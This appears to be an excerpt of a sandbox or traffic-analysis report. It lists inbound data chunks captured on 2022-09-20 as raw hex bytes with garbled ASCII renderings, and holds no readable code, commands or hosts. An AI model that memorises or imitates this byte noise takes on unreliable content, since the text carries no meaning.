e2 82 0e ea 82 ce 97 17 d8 dd 14 fa 82 4e 17 18 74 50 18 74 82 c4 
Data Ascii: h:_`kT.CC|!qDt)B-B.Q5B::go:(:_*`3ZNtPt\zNtPtd;C6|=B7GTerv%t@@LLsC"*<JUr6(:_J`WZNtPt]ETlz
AUo4pU,|i=@[NtPt

2022-09-20 10:10:08 UTC 1645 IN Data Raw: 2d 4a 28 1f fd 6c 37 dc a2 be ff 8d c5 2a 06 3c db 8d f7 5f f8 fd 4b 72 ff 89 5d be c7 65 f1 47 76 d3 3d ae f1 ed 
db de c2 9e 0d e7 7b 5c e3 f2 df 2f e5 bd 07 5a 25 55 7f 79 30 0e 53 c7 7f 0e 2a 19 71 59 f4 f9 0d 99 c2 e4 cb 14 2e 43 e6
04 99 c2 a4 cb 14 26 c8 14 26 5f a6 60 bd 07 99 c2 a4 cb 14 26 c8 14 26 df dc 6d 5f c7 60 ee 9e 74 e1 c0 04 e1 c0 e4 9b 
bb 0d bf c1 dc 3d e9 c2 81 09 c2 81 c9 17 0e d8 02 0b e1 c0 a4 0b 07 26 08 07 26 c1 dc fd c9 c2 90 4d ef 37 08 07 26 5f 
38 60 57 12 c2 81 49 17 0e 4c 10 0e 4c be 70 a0 9c 1b fa ad 15 71 cf 36 43 38 30 fb c2 81 2b db 0c e1 c0 ac 0b 07 66 08 
07 66 5f 38 70 e1 ee 19 c2 81 59 17 0e cc 10 0e cc be 70 e0 ba 7b cf 10 0e cc ba 70 60 86 70 60 f6 85 03 e5 4a ae c8 a6 
f7 1b 84 03 b3 2f 1c b8 d6 c9 19 c2 81 59 37 77 
Data Ascii: -J(l7*<_Kr]eGv={\/Z%Uy0S*qY.C&&_`&&m_`t=&&M7&_8`WILLpq6C80+ff_8pYp{p`p`J/Y7w

2022-09-20 10:10:08 UTC 1653 IN Data Raw: 88 ef 3a 5d 7d d7 41 7e d7 f9 fa bb 47 09 83 99 44 ef 37 48 f0 3a 5f 83 67 43 39 d1 ba a2 f7 1b 64 78 9d af c3 
bb 48 7d 07 21 5e a7 2b f1 3a 48 f1 3a b5 76 d3 b3 29 6d 39 72 36 c8 f1 3a 75 ff 9d 67 d3 92 4d 57 e4 75 90 e4 75 7e ed 
a6 9f 2d 1b fa 4d 57 e5 75 99 a6 23 59 9f d2 41 98 d7 e9 ca bc 0e d2 bc ce d7 e6 d9 5b 38 c4 79 9d ae ce eb 20 cf eb 7c 
7d de a3 84 95 6c ba 42 af 83 44 af f3 35 7a f6 c1 15 22 bd 4e 57 e9 75 90 e9 75 be 4e cf 3e e1 41 a8 d7 e9 4a bd 0e 52 
bd ce d7 ea d9 7c 83 58 af d3 d5 7a 1d e4 7a 9d 2f bd b3 27 67 68 ef 3a 5d cb d4 41 cc d4 f9 6a 26 43 8e 90 33 75 ba 9e 
a9 83 a0 a9 f3 6b b5 d8 3b ff 8a 51 a2 6b 9a 3a 88 9a 3a 5f d5 04 a7 1f b2 fd 03 57 21 6d 85 fe 5b f8 7b 0b 43 36 bd df 20 
6e ea d4 5a 2d cf a6 25 9b ae 6f ea 20 70 3a 8f e5 
Data Ascii: :]}A~GD7H:_gC9dxH}!^+:H:v)m9r6:ugMWuu~-MWu#YA[8y |}lBD5z"NWuuN>AJR|Xzz/'gh:]Aj&C3uk;Qk::
_W!m[{C6 nZ-%o p:

2022-09-20 10:10:08 UTC 1661 IN Data Raw: 28 79 12 50 f2 57 0b 43 36 bd df 80 92 27 01 25 3f 2c 0c d9 f4 7e 03 4a 9e 7c 94 5c ce 0d fd a6 a3 e4 09 28 
79 f2 51 f2 05 e5 27 a0 e4 49 47 c9 13 50 f2 e4 a3 64 bb 92 40 c9 93 8e 92 27 a0 e4 c9 47 c9 86 7f 80 92 27 1d 25 4f 40 
c9 93 be 59 f9 04 94 3c e9 28 79 02 4a 3e 8f bd af 6a 57 d9 9f b3 69 44 98 fc 92 09 02 3d bd 60 e5 6e 57 7e e2 4b c3 e3 
1e a7 ac 09 c7 b3 a0 18 e2 c6 b7 e7 d1 f7 bf 37 32 e3 b3 69 a8 63 bf 7f 79 98 f5 d9 14 97 47 1f 68 60 df 93 be bb fa 04 f6 
3d e9 ec 7b 02 fb 9e 7c f6 6d 93 08 ec 7b 6a 45 dc b3 cd 60 df b3 cf be 1f 25 2c 97 30 79 81 98 c1 be 67 9f 7d 5f c3 7a 06 
fb 9e 75 f6 3d 83 7d cf 3e fb 2e e7 96 91 4d ee b7 19 ec 7b f6 d9 f7 c5 87 67 b0 ef 59 67 df 33 d8 f7 ec b3 ef 5f 7f b1 b0 92 
4d 67 df 33 d8 f7 ec b3 ef cb 0a 37 83 7d cf 
Data Ascii: (yPWC6'%?,~J|\(yQ'IGPd@'G'%O@Y<(yJ>jWiD=`nW~K72icyGh`={|m{jE`%,0yg}_zu=}>.M{gYg3_Mg37}

2022-09-20 10:10:08 UTC 1669 IN Data Raw: 47 f5 b1 dd af 3e f6 28 61 c8 a6 f7 1b aa 8f ed 7e f5 b1 cb a9 ba a3 fa d8 ae 57 1f db 51 7d 6c f7 ab 8f d9 3a 89 
ea 63 bb 5e 7d 6c c7 1b df ee 57 1f bb ea 4a ed a8 3e b6 eb d5 c7 76 54 1f db fd ea 63 8f 12 86 6c 7a bf a1 fa d8 f3 b8 1d 
76 d1 fa b3 69 87 30 77 09 7a 6f 61 f8 91 7a 77 a3 68 d9 ee 17 2d bb ca 0e ec 28 5a b6 eb 45 cb 76 bc 68 ef 7e d1 b2 5f 
7f b2 b0 92 4d 2f 5a b6 a3 68 d9 ee 17 2d 7b 94 30 64 d3 bb 1b 45 cb 76 bf 68 99 4d 1c 14 2d db f5 a2 65 3b 8a 96 ed 7e 
d1 32 5b f0 50 b4 6c d7 8b 96 ed f8 50 b1 fb 45 cb ec 26 8c a2 65 bb 5e b4 6c 47 d1 b2 dd 2f 5a 56 b2 a1 df f4 a2 65 3b 
8a 96 ed 7e f9 b1 4b 14 b7 a3 fc d8 ae 97 1f db 51 7e 6c f7 cb 8f d9 62 8e f2 63 bb 5e 7e 6c c7 07 e2 dd 2f 3f 66 8f 33 28 
3f b6 bf d4 14 13 93 8d f7 9d 84 77 bf 04 99 
Data Ascii: G>(a~WQ}l:c^}lWJ>vTclzvi0wzoazwh-(ZEvh~_M/Zh-{0dEvhM-e;~2[PlPE&e^lG/ZVe;~KQ~lbc^~l/?f3(?w

2022-09-20 10:10:08 UTC 1676 IN Data Raw: 04 40 8d 3a 40 8d 00 a8 51 3f 05 1d 81 34 a3 8e 34 23 90 66 f4 91 66 4e f1 11 81 34 a3 8e 34 23 90 66 f4 91 
a6 f5 25 40 9a 51 47 9a 11 48 33 ea a7 a0 23 90 66 d4 91 66 04 d2 8c 3e d2 b4 b8 01 69 c6 9e 45 ed 2d 01 32 be 9e 85 
e9 e4 ab dc 00 2b 75 3a 99 80 26 93 8e 26 13 d0 64 72 4e 33 e7 3b d3 53 75 9a 39 89 a7 99 53 75 9a f9 c7 bf 34 5f b1 b2 
12 32 bd a7 f7 b3 d2 b4 ea 9c 9c ce 97 aa a4 ea e4 f4 8f 7f 69 be e6 ca ea e7 31 ab df 6b a9 ac 3a 9a 9b ea 17 6e 95 95 
50 7d 53 7d 06 fa fd 9f 9d af 58 79 1b ea cf 38 a8 fe c6 da df a8 7e 93 b1 fe 28 a3 ea 2f d4 fe 82 ea 2f d0 9f da 21 24 60 f2 
a4 63 f2 04 4c 9e 84 7c e6 5f cd 0c de e4 61 23 81 59 bf 9e fb 66 8f 62 86 b6 ad 77 76 60 d6 c9 67 d6 59 9b 92 c0 ac 93 
ce ac 13 98 75 f2 99 75 9e ca 24 30 eb a4 33 eb 04 66 
Data Ascii: @:@Q?44#ffN44#f%@QGH3#ff>iE-2+u:&&drN3;Su9Su4_2i1k:nP}S}Xy8~(//!$`cL|_a#Yfbwv`gYuu$03f

2022-09-20 10:10:08 UTC 1684 IN Data Raw: e9 fb 1b 9f 4d ed 5b 7a b5 af 9a a5 2e 4d ed 5b 7a 44 b1 9a 19 2f 0d 51 5c 7a 44 b1 da 63 5c 1a a2 f8 f6 ef 9f 
fb fc ad b2 0c 8d a5 3a 07 5b 1a 16 b9 c8 44 71 69 88 e2 d2 23 8a b5 9e be 21 8a 4b 8f 28 36 bf 76 69 2c 55 46 b7 34 8c 
6e e9 91 b6 5f eb 9a 70 35 96 9d 7d ea 6a f6 b6 a4 bb b1 ec d4 be 6a 36 be 34 3d d8 d2 dd d7 ac ea 50 d3 83 f5 2e 9f a8 
f7 87 96 f6 98 43 af 07 ab 38 ef d2 f4 60 4b af 07 ab 7a cd a5 e9 c1 96 de 3c a1 6e d9 cd 3c a1 77 ed c5 7f 7c 63 1f bf 34 
7d df d2 9d 27 54 ef d9 f6 7d f2 3c 61 69 e6 09 4b 97 3b 54 a7 d3 9a 79 42 f7 e2 f4 ea db ae cd 3c 7e ed cd 30 2a 9f 6b 33 
c3 58 65 05 e4 da f4 f1 ab 3c d7 5c 9b 3a b4 f6 ea 50 35 bf 5d 9b 3a b4 8a 69 fe d2 5b 46 fc da b2 9b ba 8c 73 93 b5 a9 
43 6b 77 1f 8c 7d c2 da d4 a1 b5 57 87 7e a9 2c 
Data Ascii: M[z.M[zD/Q\zDc\:[Dqi#!K(6vi,UF4n_p5}jj64=P.C8`Kz<n<w|c4}'T}<aiK;TyB<~0*k3Xe<\:P5]:i[FsCkw}W~,

Timestamp
kBytes
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Direction Data
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2022-09-20 10:10:08 UTC 1692 IN Data Raw: ba fc fc 42 36 ec 20 bf d0 a5 e7 17 ba 90 5f e8 f2 f3 0b d9 97 44 7e a1 4b cf 2f 74 21 bf d0 e5 e7 17 b2 33 d3 
c8 2f 74 e9 f9 85 2e e4 17 ba fc fc 42 76 5e 0e f9 85 2e 3d bf d0 85 fc 42 97 9f 5f a8 7c 49 c4 4d cf 2f 74 21 bf d0 a5 e7 17 
ba 90 5f e8 d2 f3 0b 5d c8 2f 74 f9 f9 85 ec dd 90 5f e8 d2 f3 0b 5d c8 2f 74 f9 f9 85 72 de c3 67 51 78 d3 e3 86 fc 42 97 
9f 5f c8 96 78 c8 2f 74 e9 f9 85 2e e4 17 ba 84 fc 42 0f 33 2b de f4 fc 42 17 f2 0b 5d 7e 7e 21 8b 1b f2 0b 5d 7a 7e a1 0b 
f9 85 2e 3f bf d0 a3 98 c1 9b 1e 37 e4 17 ba fc fc 42 bf d8 bb 21 6e 3d 8b da db 8d 85 d3 ed e7 17 ca e7 f8 6f 68 cf 6f 3d 
bf d0 8d fc 42 b7 90 5f e8 8b 99 c1 9b 1c b7 1b f9 85 6e 3f bf 50 ee 95 6f e4 17 ba f5 fc 42 37 f2 0b dd 7e 7e a1 bc 3d 71 
23 bf d0 ad e7 17 ba b1 f0 bc fd fc 
Data Ascii: B6 _D~K/t!3/t.Bv^.=B_|IM/t!_]/t_]/trgQxB_x/t.B3+B]~~!]z~.?7B!n=oho=B_n?PoB7~~=q#

2022-09-20 10:10:08 UTC 1700 IN Data Raw: 2a 58 e3 46 5a 85 49 c7 a6 13 b0 e9 b4 b9 71 b3 89 39 b0 e9 a4 63 d3 09 d8 74 f2 b1 a9 6d ce 00 9b 4e 3a 36 
9d 80 4d 27 1f 9b da 97 04 36 9d 74 6c 3a 01 9b 4e 3e 36 b5 01 07 d8 74 d2 b1 e9 04 6c 3a f9 d8 d4 a6 ca c0 a6 93 8e 
4d 27 60 d3 c9 c7 a6 36 bc 01 9b 4e 3a 36 9d 80 4d 27 21 bd fd 2f 66 06 6f 7a dc 80 4d 27 1f 9b da 80 03 6c 3a e9 d8 74 
02 36 9d 74 6c 3a 01 9b 4e 3a 36 9d 80 4d 27 3d bd fd 04 6c 3a e9 d8 74 02 36 9d 7c 6c 6a ad 1b d8 74 d2 b1 e9 04 6c 
3a f9 68 d1 ea 24 d0 e2 a4 a3 c5 09 68 71 f2 d1 a2 bd 1b d0 e2 a4 a3 c5 09 68 71 f2 d1 a2 8d f8 40 8b 93 8e 16 27 a0 c5 
c9 47 8b f6 25 81 16 27 1d 2d 4e 40 8b 93 8f 16 6d c4 01 5a 9c 74 b4 38 01 2d 4e 3a 5a 9c 80 16 27 1d 2d 4e 40 8b 93 8f 
16 33 10 9b 80 16 27 1d 2d 4e 40 8b 93 9e 8d 61 02 5a 9c 74 b4 
Data Ascii: *XFZIq9ctmN:6M'6tl:N>6tl:M'`6N:6M'!/fozM'l:t6tl:N:6M'=l:t6|ljtl:h$hqhq@'G%'-N@mZt8-N:Z'-N@3'-N@aZt

2022-09-20 10:10:08 UTC 1708 IN Data Raw: f6 79 fb ec 33 ef 42 dc 60 9f b7 ce 3e 6f b0 cf db 67 9f b6 2a 02 fb bc 75 f6 79 83 7d de 3e fb 34 6f 60 9f b7 ce 
3e 6f b0 cf 5b bf c3 e6 06 fb bc 75 f6 79 83 7d de 3e fb b4 75 0a d8 e7 ad b3 cf 1b ec f3 f6 d9 67 79 37 c4 4d 67 9f 37 d8 
e7 ed b3 cf 2c 1c bb c1 3e 6f 9d 7d de 60 9f b7 cf 3e f3 0e cb 0d f6 79 eb ec f3 06 fb bc 7d f6 69 fd 1f d8 e7 ad b3 cf 1b ec 
f3 f6 d3 2f 3d 8a 19 bc e9 71 c3 81 da d7 73 df cc fa c9 15 3b 2c 3a 69 bd 41 5a 6f 9f b4 e6 3d c6 1b a4 f5 d6 49 eb 0d d2 
7a fb a4 b5 bc 1b e2 a6 93 d6 1b a4 f5 f6 49 6b de 65 bf 41 5a 6f 9d 7d de 60 9f b7 cf 3e 6d ed 0c f6 79 eb ec f3 06 fb bc f
5 cb 4f 6e b0 cf 5b 67 9f 37 d8 e7 ed 1f 71 b5 f9 ee c6 2f a9 b7 00 b0 cf db 3f e2 6a 5f 12 47 5c 6f 9d 7d de 60 9f b7 cf 3e 
ff cb bc 21 6e 3a fb bc c1 3e 
Data Ascii: y3B`>og*uy}>4o`>o[uy}>ugy7Mg7,>o}`>y}i/=qs;,:iAZo=IzIkeAZo}`>myOn[g7q/?j_G\o}`>!n:>

2022-09-20 10:10:08 UTC 1716 IN Data Raw: 3a 3c 70 d3 59 e7 a6 33 b8 e9 ec 73 53 db 66 01 37 9d 75 6e 3a 83 9b ce 3e 37 b5 a1 03 dc 74 d6 b9 e9 0c 
6e 3a 0b b7 27 3f cc 0c de e4 b8 2d e0 a6 8b 7e 1a 79 01 00 5d 74 00 ba 00 80 2e 3e 00 cd ed 6d 01 00 5d 74 00 ba 00 
80 2e 3e 00 cd b8 75 01 00 5d 74 00 ba 00 80 2e fe 69 e4 3c 9d 59 70 1a 79 d1 01 e8 02 00 ba e8 f7 19 2f 00 a0 8b 0e 4
0 17 00 d0 c5 07 a0 b9 05 2c 00 a0 8b 0e 40 17 00 d0 45 07 a0 0b 00 e8 a2 03 d0 05 00 74 f1 01 68 ee b9 16 00 d0 45 07 
a0 0b 00 e8 a2 03 d0 05 00 74 d1 01 e8 02 00 ba f8 19 9a f3 b9 80 05 19 9a 17 1d 80 2e 00 a0 8b 7f 1a d9 6a 09 4e 23 2f 
3a 00 5d 00 40 17 1f 80 fe f5 8b 99 c1 9b 1e 37 00 d0 45 bf cf 78 01 00 5d 74 00 ba 00 80 2e 3a 00 5d 00 40 17 1d 80 2e 
00 a0 af e7 8e e6 ec 41 9b 01 56 af df 78 09 d1 36 c2 da d8 76 7e 
Data Ascii: :<pY3sSf7un:>7tn:'?-~y]t.>m]t.>u]t.i<Ypy/@,@EthEt.jN#/:]@7Ex]t.:]@.AVx6v~

2022-09-20 10:10:08 UTC 1723 IN Data Raw: ad 43 c2 1b 90 f0 f6 21 a1 b5 00 40 c2 5b 87 84 37 20 e1 ad 67 0c bf 01 09 6f 1d 12 de 80 84 b7 7f 72 d8 bc e1
e4 f0 ad 43 c2 1b 90 f0 16 20 e1 17 33 83 37 3d 6e 80 84 b7 7e 72 f8 06 24 bc 75 48 78 03 12 be 9e fb 66 b6 15 b1 a1 bd 
e9 90 f0 06 24 bc 7d 48 68 73 2e 40 c2 5b 87 84 37 20 e1 ad 9f 1c be 01 09 6f 1d 12 de 80 84 cf 67 ef 28 e9 a3 98 4d 30 
f3 8e 92 da 90 ff 86 21 8b 99 dc 73 01 49 de 3a 92 bc 81 24 6f 1f 49 da aa 03 48 f2 d6 91 e4 0d 24 79 eb 48 f2 06 92 bc 
75 24 79 03 49 de 7a 7e f2 1b 48 f2 d6 91 e4 0d 24 79 fb 48 d2 c2 0d 24 79 eb 48 f2 06 92 bc 7d 24 59 de 0d 71 d3 91 e4 
0d 24 79 fb 48 d2 5a 37 90 e4 ad 23 c9 1b 48 f2 f6 91 a4 8d 01 40 92 b7 8e 24 6f 20 c9 db 47 92 d6 97 00 49 de 3a 92 bc 
81 24 6f ff e0 aa cd cc 71 70 f5 d6 91 e4 0d 24 79 fb 
Data Ascii: C!@[7 gorC 37=n~r$uHxf$}Hhs.@[7 og(M0!sI:$oIH$yHu$yIz~H$yH$yH}$Yq$yHZ7#H@$o GI:$oqp$y

2022-09-20 10:10:08 UTC 1731 IN Data Raw: 73 c5 19 5c 71 f6 b9 e2 ef 76 6f 11 de e4 b8 cd e0 8a b3 cf fa d2 d7 fa 0c d6 37 eb ac 6f 06 eb 9b 7d d6 97 d6 
5c 33 58 df ac b3 be 19 ac 6f d6 eb 59 cf 60 7d b3 ce fa 66 b0 be d9 67 7d 69 e6 9a c1 fa 66 9d f5 cd 60 7d f7 75 db 2c ad 
14 e6 2e 7f 07 cc 3a eb 9b c1 fa 66 ff 68 62 7b 92 38 9a 78 d6 59 df 0c d6 77 5f 0b 3b e6 77 bb ae b0 72 9e ff 17 33 84 99 
1e 6d 10 c2 d9 27 84 8f 6c 86 27 a2 47 1b 84 70 f6 09 61 7e 28 88 b6 4e 08 67 10 c2 fb ba 6d 66 7d 6b c8 ab 99 59 27 84 
33 08 e1 ec 13 c2 47 36 cb 4f 52 27 84 33 08 e1 ec 13 c2 2f 7f 98 19 bc e9 71 03 21 9c 7d 42 98 76 27 67 10 c2 59 27 84 
33 08 e1 ec 13 c2 b4 c2 9e 41 08 67 9d 10 ce 20 84 b3 4f 08 d3 2a 74 06 21 9c 75 42 38 83 10 ce 3e 21 fc f0 d5 cc e0 4d 
8f 1b 08 e1 7d dd 36 fb 6c 4f 12 e3 4d 27 84 33 
Data Ascii: s\qvo7o}\3XoY`}fg}if`}u,.:fhb{8xYw_;wr3m'l'Gpa~(Ngmf}kY'3G6OR'3/q!}Bv'gY'3Ag O*t!uB8>!M}6lOM'3

2022-09-20 10:10:08 UTC 1739 IN Data Raw: 9d ba 76 ef 84 76 ef f4 b5 7b 3f fd d7 cc e0 4d ef 2f e4 23 be 76 cf 16 a8 d0 ee 9d ba 76 ef 84 76 ef f4 b5 7b b6 
e2 83 76 ef d4 b5 7b 27 b4 7b a7 a0 dd fb 62 66 f0 a6 c7 0d da bd 53 d7 ee 9d d0 ee 9d ba 76 ef 24 9b da db b5 f4 6c b9 
b7 b3 96 de db bf 7e 68 65 93 ec ce 5a 7a 6f ff f2 3b c8 ce 5a 7a 6f ff fa f1 a3 ff 08 ab a9 b0 ba 5a 3a 9d f2 d6 ae ab 7a 26 
f7 1f b4 1b 7c 36 ed 60 2b af a0 a1 85 3c 75 2d e4 09 2d e4 e9 9f 9d f2 29 9b e1 47 ea e3 00 5a c8 d3 d7 42 7e b5 e7 82 
71 a0 6b 21 4f 68 21 4f 5f 0b 69 fb 8a d0 42 9e ba 16 f2 84 16 f2 f4 b5 90 a9 0e d0 09 2d e4 a9 6b 21 4f 68 21 4f 5f 0b 69 
dd 1a 5a c8 53 d7 42 9e d0 42 9e 42 8d a3 af 66 06 6f 7a dc a0 85 3c fd 1a 47 f9 de b0 be d4 b5 90 27 b4 90 a7 5f e3 28 
29 d4 4f d4 38 3a 75 2d e4 09 2d e4 e9 6b 
Data Ascii: vv{?M/#vvv{v{'{bfSv$l~heZzo;ZzoZ:z&|6`+<u--)GZB~qk!Oh!O_iB-k!Oh!O_iZSBBBfoz<G'_()O8:u--k

2022-09-20 10:10:08 UTC 1747 IN Data Raw: a4 18 51 90 62 d4 0b 52 8c 28 48 31 fa 59 f1 36 97 20 2b 7e d4 b3 e2 47 64 c5 8f 7e 56 7c 2a c9 32 22 2b 7e 
d4 b3 e2 47 64 c5 8f 7e 56 bc bd bb 91 15 3f ea 59 f1 23 81 88 9f 15 6f 6f 1c 64 c5 8f 7a 56 fc 88 ac f8 d1 cf 8a ff fd 9b 99 
c1 9b 1e 37 64 c5 8f 7e 56 7c be 37 c4 4d cf 8a 1f 91 15 3f fa 25 e1 2d 6e 28 09 3f ea 59 f1 23 c9 81 5f 12 de c6 1b 4a c2 
8f 7a 56 fc 88 ac f8 d1 cf 8a b7 b9 04 59 f1 a3 9e 15 3f 22 2b 7e f4 4b c2 7f fb 6c 66 f0 a6 c7 0d 59 f1 a3 9f 15 6f ef 6e 64 
c5 8f 7a 56 fc 48 18 28 64 c5 7f 34 b3 ec 4d cf 8a 1f 91 15 3f fa f9 ed d6 27 91 df 3e ea f9 ed 23 f2 db 47 3f bf fd df 7f 98 1
9 bc e9 71 43 7e fb e8 e7 b7 a7 63 0a 46 e4 b7 37 b7 7b 4b 6f dc ee 9d fc fc f6 b4 87 37 21 bf 7d d2 f3 db 27 e4 b7 4f 7e 
7e 7b 8a db 84 fc f6 49 2f d1 3e 
Data Ascii: QbR(H1Y6 +~Gd~V|*2"+~Gd~V?Y#oodzV7d~V|7M?%-n(?Y#_JzVY?"+~KlfYondzVH(d4M?'>#G?q
C~cF7{Ko7!}'O~~{I/>

2022-09-20 10:10:08 UTC 1755 IN Data Raw: be c3 4f d2 4b 3b 86 07 92 f4 0e 9d f6 1d a0 7d 87 90 a4 f7 d1 cc 72 2f d1 69 df 01 da 77 f8 b4 2f ed 73 1d a0 
7d 87 4e fb 0e d0 be fb ba 6d f6 ab 79 cb 6f d3 43 a7 7d 07 68 df e1 d7 55 7e 64 33 78 93 21 e1 01 48 78 e8 90 f0 00 24 
3c 7c 48 98 16 bd 07 20 e1 a1 43 c2 03 90 f0 f0 21 61 82 f2 07 20 e1 a1 43 c2 03 90 f0 f0 21 a1 4d 78 80 84 87 0e 09 0f 
40 c2 c3 87 84 36 70 00 09 0f 1d 12 1e 80 84 f7 b5 f3 24 ff 65 66 b9 73 e9 90 f0 00 24 3c f4 dc be 03 90 f0 d0 21 e1 01 48 
78 e8 49 7a 07 92 f4 0e 1d 12 1e 80 84 87 7e 64 e8 01 48 78 e8 90 f0 00 24 3c 7c 48 98 e4 0d 07 20 e1 a1 43 c2 03 90 f0 
f0 ab 86 a6 25 f6 81 aa a1 87 0e 09 0f 40 c2 fb ba 6d f6 c8 66 b9 4f ea 90 f0 00 24 3c 7c 48 f8 db 2f 66 86 7b d3 e3 06 48 
78 f8 49 7a 36 97 20 49 ef d0 21 e1 01 48 78 f8 
Data Ascii: OK;}r/iw/s}NmyoC}hU~d3x!Hx$<|H C!a C!Mx@6p$efs$<!HxIz~dHx$<|H C%@mfO$<|H/f{HxIz6 I!Hx

2022-09-20 10:10:08 UTC 1762 IN Data Raw: 20 19 fc 53 3c 93 b7 80 53 3c 83 0e 24 03 80 64 f0 81 64 1a 01 01 40 32 e8 40 32 00 48 06 1f 48 a6 59 39 00 
48 06 1d 48 06 00 c9 e0 03 c9 5f 3e 9a 19 bc e9 71 03 90 0c 3a 90 0c 00 92 41 07 92 01 40 32 f8 69 92 69 04 04 a4 49 
06 1d 48 06 00 c9 e0 03 49 eb 25 00 92 41 07 92 01 40 f2 be 76 bc 7d 36 b3 2e 9b e9 71 03 90 0c 3e eb b3 27 09 d6 17 
74 fa 16 40 df 82 4f df 3e 65 33 78 d3 9f 24 e8 db 7d dd 36 b3 3e d9 e3 49 ea f4 2d 80 be 05 81 be 7d 33 b3 7c 6f 3a 7d 
0b a0 6f 41 28 90 fa d1 cc e0 4d 8f 1b e8 5b f0 e9 5b 4a 0e 08 a0 6f 41 a7 6f 01 f4 ed be 76 e2 f6 c5 cc 72 dc 74 fa 16 40 
df 82 9f d8 67 23 00 89 7d 41 a7 6f 01 f4 2d 08 05 52 1f 66 96 9f a4 4e df 02 e8 5b d0 e9 5b 00 7d 0b 3a 7d 0b a0 6f c1 4f 
ec 4b 3b 86 01 89 7d 41 a7 6f 01 f4 2d f8 05 52 d3 5a 39 
Data Ascii:  S<S<$dd@2@2HHY9HH_>q:A@2iiIHI%A@v}6.q>'t@O>e3x$}6>I-}3|o:}oA(M[[JoAovrt@g#}Ao-RfN[[}:}o
OK;}Ao-RZ9

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 1770 IN Data Raw: a5 1c cf 6a 85 31 b7 d6 09 65 bf ad d6 09 73 4b 39 5a cc 43 73 25 1d 9d 5b 44 b1 f2 59 45 25 08 47 67 be b5 
ac a2 22 d3 bd b9 da 4f 98 5b fb 09 c5 da 64 ae f6 13 e6 d6 7e 42 f1 b6 9f ab fd 84 39 34 d6 26 65 4f 08 7b 65 d9 58 9b 
54 51 39 2a 4b 75 6d 32 57 3b 11 73 6b 3f a1 f4 59 ed 27 cc ad 5d 81 42 49 36 57 bb 02 73 6b 9f ba ec f1 d5 3e 75 ab b4 
52 e5 b3 da 4f 98 5b 2b e3 f2 5d 56 ad 8c 67 99 45 ce d5 ea 6d 6e 1d 64 58 3e db b5 9a 35 d7 c6 b3 2d e3 b9 56 cf b6 b5 
62 2c 7d 56 2b c6 56 21 a9 ea 3e ab 15 e3 dc 5a 31 96 6f de 6a c5 38 b7 8e a9 2a 7d 1e d5 13 6a 69 92 cb 79 a8 12 25 
cf 2d 55 72 39 27 54 b2 e4 b9 a5 4b ae 7e 6d 35 83 b5 94 c9 c5 1e e3 5c 49 93 e7 96 36 b9 9c fb 2a 71 f2 cb bf 7f 68 f9 
a5 fc b5 73 65 29 1c 80 fd d6 b2 9a 4d 0e e1 b8 c2 b7 96 d5 
Data Ascii: j1esK9ZCs%[DYE%Gg"O[d~B94&eO{eXTQ9*Kum2W;sk?Y']BI6Wsk>uRO[+]VgEmndX>5-Vb,}V+V!>Z1oj8*}ji
y%-Ur9'TK~m5\I6*qhse)M

2022-09-20 10:10:08 UTC 1778 IN Data Raw: f5 6b 5b 92 b7 bf fd 41 9f 43 65 39 b4 ce 79 b7 51 74 b7 ec 2a 4b ff 18 e5 d4 b2 af 2c a5 91 fb d2 72 ac 7e 6d 
93 b1 14 f1 9c 2a cb 26 61 f9 89 3e 43 65 d9 c2 fc 6f c7 1b bf b5 9c 2b cb 16 68 b6 0f ae bb 65 ac 2c 5b a8 f3 ed 38 ec b7 
96 4b 65 d9 24 0d 1f f8 84 d6 c2 32 bc 14 66 69 6c 6b e0 e1 de 4d c7 da b6 b1 5f 8b ce 70 37 9d 0a db d8 9a 96 4b bf f1 
dd f8 ae b2 6d 7c fc 71 c8 dc 4d bb da 56 f7 3b d5 7e 5b 67 6c 57 7e 43 65 3b b6 6c 4b bf e3 9f 6c 95 1d dc b7 a6 73 65 
db d2 b2 55 7e a1 65 4b 7f 68 d8 fe f3 b7 c2 76 29 6d 97 66 67 2e fc 2e 4b d5 27 97 17 46 ae dd ef b3 e9 52 db 36 b6 da 
2a bf e3 5a d9 06 01 9c a5 a6 7d 6d db d8 5a 2c 9e d5 b3 e9 50 d9 b6 9e 55 e9 b7 1c bf f2 a2 01 ea fd 5e 57 ef f7 1d 7b 
84 bb d8 b3 1a 47 5d c4 a0 d3 97 28 50 ef f7 7e e5 
Data Ascii: k[ACe9yQt*K,r~m*&a>Ceo+he,[8Ke$2filkM_p7Km|qMV;~[glW~Ce;lKlseU~eKhv)mfg..K'FR6*Z}mZ,PU^W{G]
(P~

2022-09-20 10:10:08 UTC 1786 IN Data Raw: 3c 09 00 33 f2 00 33 02 c0 8c 3e c0 6c fb 12 00 98 91 07 98 11 00 e6 79 6d cb 1a e2 d8 61 5f c2 03 cc 08 00 
33 fa 00 b3 5b 83 7e e3 01 66 04 80 19 7d 80 d9 46 09 00 cc c8 03 cc 08 00 33 fa 00 b3 ed 14 00 60 46 1e 60 46 00 98 
d1 07 98 6d 9e 04 80 19 79 80 19 01 60 46 1f 60 b6 f5 0d 00 66 e4 01 66 04 80 19 7d 80 d9 ef 0d fa cd 52 48 6b 09 00 66 
f2 f3 0e af 7e 4b 90 77 98 78 80 99 00 60 26 1f 60 76 6b 13 58 a3 fb 2d 01 c0 4c 3e c0 bc 75 19 58 a3 fb 2d 01 c0 4c 7c 
de 61 02 80 99 78 80 99 00 60 26 ab d4 a4 7a 92 50 6b 32 f1 40 2c 01 10 4b 04 10 fb a3 c9 fa bd f1 40 2c 01 10 4b 3e 10 
bb 66 ae 04 40 2c f1 40 2c 01 10 4b 3e 10 bb 75 19 58 e3 fb 0d 80 58 f2 81 d8 b5 e7 4a 00 c4 12 0f c4 12 00 b1 e4 03 b1 
8f b7 26 03 6b 7c bf 01 10 4b 3e 10 6b 63 12 80 58 e2 81 58 
Data Ascii: <33>lyma_3[~f}F3`F`Fmy`F`ff}RHkf~Kwx`&`vkX-L>uX-L|ax`&zPk2@,K@,K>f@,@,K>uXXJ&k|K>kcXX

2022-09-20 10:10:08 UTC 1794 IN Data Raw: 3f d2 7e f9 71 89 9a 25 f6 13 ed bd 65 ef 27 ff 03 ed f5 12 b1 f5 7e 62 3f cf de 5b f6 7e da 12 77 92 d0 a3 e5 d4 
45 1e 8d bd 96 d1 2d cd 5d e4 b1 d8 5f 9f 2e d1 d2 45 ec 3b ce d6 87 11 fb e5 f8 de b2 0f 23 ff bb f1 35 8c b6 3e 8c d8 af 
